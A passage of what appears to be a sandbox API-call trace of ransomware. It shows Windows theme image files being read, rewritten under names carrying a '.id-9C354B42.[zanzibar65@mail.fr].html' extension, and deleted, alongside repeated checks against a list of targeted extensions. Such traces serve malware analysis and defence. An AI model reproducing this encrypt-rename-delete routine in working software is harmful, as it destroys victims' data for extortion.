dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.101] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.102] GetLastError () returned 0x0 [0044.102] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x2d35, lpOverlapped=0x0) returned 1 [0044.443] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0044.444] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.444] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.444] SetEndOfFile (hFile=0x208) returned 1 [0044.444] CloseHandle (hObject=0x208) returned 1 [0044.444] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.444] SetEndOfFile (hFile=0x1e8) returned 1 [0044.445] CloseHandle (hObject=0x1e8) returned 1 [0044.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.445] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0044.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.445] lstrlenW (lpString=".doc") returned 4 [0044.446] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.446] lstrlenW (lpString=".docx") returned 5 [0044.446] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.446] lstrlenW (lpString=".pdf") returned 4 [0044.446] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.446] lstrlenW (lpString=".xls") returned 4 [0044.446] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.446] lstrlenW (lpString=".xlsx") returned 5 [0044.446] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.446] lstrlenW (lpString=".ppt") returned 4 [0044.446] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.446] lstrlenW (lpString=".zip") returned 4 [0044.446] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.446] lstrlenW (lpString=".rar") returned 4 [0044.446] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.446] lstrlenW (lpString=".bz2") returned 4 [0044.446] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.446] lstrlenW (lpString=".7z") returned 3 [0044.446] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.446] lstrlenW (lpString=".dbf") returned 4 [0044.446] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.446] lstrlenW (lpString=".1cd") returned 4 [0044.446] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.446] lstrlenW (lpString=".jpg") returned 4 [0044.446] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.446] lstrlenW (lpString=".doc") returned 4 [0044.447] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.447] lstrlenW (lpString=".docx") returned 5 [0044.447] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.447] lstrlenW (lpString=".pdf") returned 4 [0044.447] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.447] lstrlenW (lpString=".xls") returned 4 [0044.447] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.447] lstrlenW (lpString=".xlsx") returned 5 [0044.447] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.447] lstrlenW (lpString=".ppt") returned 4 [0044.447] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.447] lstrlenW (lpString=".zip") returned 4 [0044.447] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.447] lstrlenW (lpString=".rar") returned 4 [0044.447] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.447] lstrlenW (lpString=".bz2") returned 4 [0044.447] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.447] lstrlenW (lpString=".7z") returned 3 [0044.447] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.447] lstrlenW (lpString=".dbf") returned 4 [0044.447] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.447] lstrlenW (lpString=".1cd") returned 4 [0044.447] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0044.447] lstrlenW (lpString=".jpg") returned 4 [0044.447] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.447] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.448] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.815] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=16738) returned 1 [0044.824] CloseHandle (hObject=0x1e8) returned 1 [0044.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0044.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.834] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.841] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.844] GetLastError () returned 0x0 [0044.844] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x4162, lpOverlapped=0x0) returned 1 [0044.846] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0044.847] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.847] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.847] SetEndOfFile (hFile=0x1f8) returned 1 [0044.847] CloseHandle (hObject=0x1f8) returned 1 [0044.847] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.847] SetEndOfFile (hFile=0x208) returned 1 [0044.848] CloseHandle (hObject=0x208) returned 1 [0044.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.849] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0044.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.849] lstrlenW (lpString=".doc") returned 4 [0044.849] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.849] lstrlenW (lpString=".docx") returned 5 [0044.849] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.849] lstrlenW (lpString=".pdf") returned 4 [0044.849] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.849] lstrlenW (lpString=".xls") returned 4 [0044.849] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.849] lstrlenW (lpString=".xlsx") returned 5 [0044.849] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.849] lstrlenW (lpString=".ppt") returned 4 [0044.849] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.849] lstrlenW (lpString=".zip") returned 4 [0044.849] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.849] lstrlenW (lpString=".rar") returned 4 [0044.849] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.849] lstrlenW (lpString=".bz2") returned 4 [0044.849] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.849] lstrlenW (lpString=".7z") returned 3 [0044.849] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.849] lstrlenW (lpString=".dbf") returned 4 [0044.849] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.850] lstrlenW (lpString=".1cd") returned 4 [0044.850] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.850] lstrlenW (lpString=".jpg") returned 4 [0044.850] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.850] lstrlenW (lpString=".doc") returned 4 [0044.850] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.850] lstrlenW (lpString=".docx") returned 5 [0044.850] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.850] lstrlenW (lpString=".pdf") returned 4 [0044.850] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.850] lstrlenW (lpString=".xls") returned 4 [0044.850] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.850] lstrlenW (lpString=".xlsx") returned 5 [0044.850] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.850] lstrlenW (lpString=".ppt") returned 4 [0044.850] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.850] lstrlenW (lpString=".zip") returned 4 [0044.850] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.850] lstrlenW (lpString=".rar") returned 4 [0044.850] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.850] lstrlenW (lpString=".bz2") returned 4 [0044.850] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.850] lstrlenW (lpString=".7z") returned 3 [0044.850] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.850] lstrlenW (lpString=".dbf") returned 4 [0044.850] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.850] lstrlenW (lpString=".1cd") returned 4 [0044.851] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0044.851] lstrlenW (lpString=".jpg") returned 4 [0044.851] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.851] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.851] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.851] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=4100) returned 1 [0044.851] CloseHandle (hObject=0x208) returned 1 [0044.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0044.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.851] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.852] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.853] GetLastError () returned 0x0 [0044.853] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1004, lpOverlapped=0x0) returned 1 [0044.857] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0044.858] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.858] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.858] SetEndOfFile (hFile=0x1f8) returned 1 [0044.858] CloseHandle (hObject=0x1f8) returned 1 [0044.858] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.858] SetEndOfFile (hFile=0x208) returned 1 [0044.859] CloseHandle (hObject=0x208) returned 1 [0044.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.859] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0044.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.860] lstrlenW (lpString=".doc") returned 4 [0044.860] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.860] lstrlenW (lpString=".docx") returned 5 [0044.860] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.860] lstrlenW (lpString=".pdf") returned 4 [0044.860] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.860] lstrlenW (lpString=".xls") returned 4 [0044.860] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.860] lstrlenW (lpString=".xlsx") returned 5 [0044.860] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.860] lstrlenW (lpString=".ppt") returned 4 [0044.860] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.860] lstrlenW (lpString=".zip") returned 4 [0044.860] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.860] lstrlenW (lpString=".rar") returned 4 [0044.860] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.860] lstrlenW (lpString=".bz2") returned 4 [0044.860] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.860] lstrlenW (lpString=".7z") returned 3 [0044.860] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.860] lstrlenW (lpString=".dbf") returned 4 [0044.861] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.861] lstrlenW (lpString=".1cd") returned 4 [0044.861] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.861] lstrlenW (lpString=".jpg") returned 4 [0044.861] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.861] lstrlenW (lpString=".doc") returned 4 [0044.861] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.861] lstrlenW (lpString=".docx") returned 5 [0044.861] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.861] lstrlenW (lpString=".pdf") returned 4 [0044.861] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.861] lstrlenW (lpString=".xls") returned 4 [0044.861] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.861] lstrlenW (lpString=".xlsx") returned 5 [0044.861] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.861] lstrlenW (lpString=".ppt") returned 4 [0044.861] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.861] lstrlenW (lpString=".zip") returned 4 [0044.861] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.861] lstrlenW (lpString=".rar") returned 4 [0044.861] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.861] lstrlenW (lpString=".bz2") returned 4 [0044.861] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.861] lstrlenW (lpString=".7z") returned 3 [0044.861] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.861] lstrlenW (lpString=".dbf") returned 4 [0044.861] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.862] lstrlenW (lpString=".1cd") returned 4 [0044.862] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0044.862] lstrlenW (lpString=".jpg") returned 4 [0044.862] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.862] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.862] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.862] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=47962) returned 1 [0044.862] CloseHandle (hObject=0x208) returned 1 [0044.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0044.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.862] SetFilePointerEx (in: 